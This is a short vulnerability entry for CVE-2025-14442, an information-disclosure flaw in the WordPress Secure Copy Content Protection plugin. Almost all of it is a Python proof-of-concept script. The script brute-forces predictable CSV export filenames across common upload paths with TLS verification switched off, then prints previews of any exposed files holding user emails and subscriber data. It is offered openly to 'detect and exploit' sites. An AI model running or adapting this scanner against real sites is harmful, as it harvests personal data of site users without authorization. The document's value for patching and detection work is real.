CVE-2025-14442 WordPress Secure Copy Content Protection插件敏感信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-14442 PoC - WordPress Secure Copy Content Protection Information Disclosure This PoC demonstrates how to detect and exploit the information disclosure vulnerability. """ import requests import sys from datetime import datetime, timedelta TARGET_URL = "http://target-wordpress-site.com" # Common export directory paths used by the plugin COMMON_PATHS = [ "/wp-content/uploads/secure-copy-content-protection/", "/wp-content/uploads/sccp-exports/", "/wp-content/plugins/secure-copy-content-protection/exports/", "/wp-content/uploads/exports/", ] def generate_predictable_filenames(): """Generate potentially predictable CSV filenames based on common patterns.""" filenames = [] base_names = [ "exported_data", "user_export", "subscriber_export", "user_data", "leads_export", "form_data", "locked_content_users", ] # Add date-based filenames for i in range(30): date = datetime.now() - timedelta(days=i) for base in base_names: filenames.append(f"{base}_{date.strftime('%Y%m%d')}.csv") filenames.append(f"{base}_{date.strftime('%Y-%m-%d')}.csv") # Add simple numbered filenames for i in range(1, 100): for base in base_names: filenames.append(f"{base}_{i}.csv") filenames.append(f"{base}-export-{i}.csv") return filenames def check_vulnerability(target_url): """Check if the target WordPress site is vulnerable.""" print(f"[*] Scanning target: {target_url}") print("[*] Generating potential CSV filenames...") filenames = generate_predictable_filenames() found_files = [] for base_path in COMMON_PATHS: print(f"\n[*] Checking path: {base_path}") for filename in filenames[:200]: # Limit to avoid timeout url = f"{target_url}{base_path}{filename}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: # Check if response looks like CSV if b'email' in response.content.lower() or b',' in response.content[:100]: print(f"[+] POTENTIAL VULNERABILITY FOUND!") print(f"[+] URL: {url}") print(f"[+] Size: {len(response.content)} bytes") found_files.append({ 'url': url, 'size': len(response.content), 'content_preview': response.content[:500] }) except requests.RequestException as e: continue if found_files: print(f"\n[!] Found {len(found_files)} potential vulnerable files!") for info in found_files: print(f"\n[+] File URL: {info['url']}") print(f"[+] Preview:") print(info['content_preview'].decode('utf-8', errors='ignore')[:300]) return True else: print("[-] No vulnerable files found with common patterns.") print("[-] Manual verification may be required.") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability(TARGET_URL)